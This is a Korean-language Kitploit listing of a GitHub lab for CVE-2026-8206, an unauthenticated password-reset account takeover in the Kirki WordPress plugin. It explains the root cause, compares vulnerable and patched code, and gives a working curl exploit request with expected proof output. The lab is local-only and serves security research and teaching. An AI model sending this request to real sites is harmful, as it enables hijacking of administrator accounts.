Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-8206-Lab — Local Docker lab demonstrating CVE-2026-8206 (Kirki WordPress 플러그인의 인증되지 않은 계정 탈취)를 시연합니다. 취약한 버전 6.0.6과 패치된 버전 6.0.7을 PoC 스크립트 및 캡처된 메일 확인과 함께 비교합니다. | Kitploit
도구/GitHubGitHub/rootdirective-sec/cve-2026-8206-lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-8206-lab

CVE-2026-8206-Lab

Local Docker lab demonstrating CVE-2026-8206 (Kirki WordPress 플러그인의 인증되지 않은 계정 탈취)를 시연합니다. 취약한 버전 6.0.6과 패치된 버전 6.0.7을 PoC 스크립트 및 캡처된 메일 확인과 함께 비교합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
2개월 전아직 검토되지 않음

CVE-2026-8206 - Kirki 계정 탈취 랩

CVE-2026-8206을 Kirki WordPress 플러그인에서 시연하기 위한 로컬 Docker 랩입니다.

이 저장소는 실제 Kirki 플러그인 릴리스를 비교합니다:

  • vuln: Kirki 6.0.6
  • patched: Kirki 6.0.7

랩은 로컬 전용이며 WordPress 서비스를 127.0.0.1에 바인딩합니다. PoC는 최소 피해를 목표로 합니다: 비밀번호 재설정을 요청하고 랩 내에서 캡처된 이메일 수신자를 확인합니다. 비밀번호를 변경하지 않습니다.


요약

CVE-2026-8206은 Kirki 버전 6.0.0부터 6.0.6까지의 인증되지 않은 계정 탈취/권한 상승 취약점입니다.

취약한 비밀번호 재설정 핸들러는 username으로 선택된 실제 WordPress 사용자의 재설정 키를 생성하지만, 재설정 이메일을 요청에 제공된 임의의 이메일 주소로 전송합니다.

이 랩에서:

root@kitploit:~
vulnerable => reset link for admin is sent to [email protected]
patched    => mismatched email is rejected and no reset email is sent to [email protected]

영향을 받는 구성 요소

  • 제품: Kirki – Freeform Page Builder, Website Builder & Customizer
  • 영향을 받는 버전: 6.0.0 ~ 6.0.6
  • 수정된 버전: 6.0.7
  • 이 랩에서 사용된 취약 엔드포인트:
root@kitploit:~
/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password

근본 원인

취약한 핸들러는 다음과 같습니다:

root@kitploit:~
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php

6.0.6에서의 취약 동작

Kirki는 요청 본문에서 공격자가 제공한 이메일을 읽습니다:

root@kitploit:~
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';

그런 다음 사용자 이름으로 대상 WordPress 사용자를 확인하고 해당 사용자의 비밀번호 재설정 키를 생성합니다:

root@kitploit:~
$key = get_password_reset_key( $user );

그러나 최종 재설정 이메일은 요청에 제공된 $email로 전송됩니다:

root@kitploit:~
$sent = wp_mail( $email, $email_subject, $email_body, $headers );

이는 계정 신원과 재설정 이메일 수신자 간의 신뢰 경계를 깨뜨립니다. 인증되지 않은 요청자는 다음을 제공할 수 있습니다:

root@kitploit:~
username=admin
[email protected]

재설정 키는 admin 소유이지만, 이메일은 공격자가 제어하는 주소로 전달됩니다.

6.0.7에서의 패치 동작

Kirki 6.0.7은 제공된 이메일이 확인된 사용자의 등록된 이메일과 일치하는지 확인한 후, 전송 전에 수신자를 계정 이메일로 강제합니다:

root@kitploit:~
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    // reject request
}

$email = $user_email;
$sent  = wp_mail( $email, $email_subject, $email_body, $headers );

랩 설계

로컬 메일은 외부로 전송되지 않고 파일로 캡처됩니다:

root@kitploit:~
artifacts/vuln-mail/
artifacts/patched-mail/

랩은 WP-CLI로 설치된 실제 Kirki 플러그인 버전을 사용합니다. 플러그인 소스는 수정되지 않았습니다.


저장소 구조

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── docker/
│   ├── capture-mail
│   └── mail-capture.ini
├── scripts/
│   └── setup-wordpress.sh
├── poc/
│   ├── poc_local.py
│   └── run_lab_poc.sh
├── docs/
│   └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore

요구 사항

  • Docker Desktop 또는 Docker Engine
  • Docker Compose v2
  • Python 3
  • Python requests 패키지

필요시 Python 의존성 설치:

root@kitploit:~
python3 -m pip install requests

랩 실행

컨테이너 시작:

root@kitploit:~
docker compose up -d --build

두 WordPress 인스턴스 시딩:

root@kitploit:~
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched

PoC 실행:

root@kitploit:~
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh

예상 결과

취약: Kirki 6.0.6

예상 결과:

root@kitploit:~
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
    To: [email protected]
    Subject: CVE-2026-8206 local lab proof

이는 취약한 버전이 대상 계정의 비밀번호 재설정 이메일을 공격자가 제어하는 주소로 전송했음을 증명합니다.

패치됨: Kirki 6.0.7

예상 결과:

root@kitploit:~
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER

이는 패치된 버전이 사용자 이름/이메일 불일치를 거부하고 공격자가 제어하는 주소로 재설정 이메일을 전송하지 않음을 증명합니다.


수동 확인

취약한 랩 내에서 올바른 Kirki 엘리먼트 nonce 생성:

root@kitploit:~
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"

취약 서비스에 로컬 전용 요청 전송:

root@kitploit:~
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-Element-Nonce: $NONCE" \
  -d "username=admin" \
  -d "[email protected]" \
  --data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
  --data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'

캡처된 메일 확인:

root@kitploit:~
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/

예상되는 취약 증거:

root@kitploit:~
To: [email protected]
... action=rp ... login=admin ...

안전

이 랩은 로컬 보안 연구 및 포트폴리오 시연 목적으로만 제공됩니다.

보호 장치:

  • 서비스를 127.0.0.1에만 바인딩합니다.
  • 더미 로컬 이메일 주소를 사용합니다.
  • 실제 이메일을 보내지 않고 로컬로 메일을 캡처합니다.
  • 비밀번호를 변경하지 않습니다.
  • 외부 시스템에 대한 악용을 시도하지 않습니다.

정리

root@kitploit:~
docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail

참고자료

  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-8206
  • Wordfence advisory: https://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
  • Wordfence vulnerability database: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kirki/kirki-600-606-unauthenticated-privilege-escalation-via-handle-forgot-password
  • WordPress plugin page / changelog: https://wordpress.org/plugins/kirki/
  • OpenCVE entry: https://app.opencve.io/cve/CVE-2026-8206
도구 다운로드
ServicePurposeHost URL
vulnWordPress + Kirki 6.0.6http://127.0.0.1:8081
patchedWordPress + Kirki 6.0.7http://127.0.0.1:8082
db_vulnMySQL for vulnerable WordPressDocker network only
db_patchedMySQL for patched WordPressDocker network only
wpcli_vulnSeeds vulnerable WordPressone-shot setup
wpcli_patchedSeeds patched WordPressone-shot setup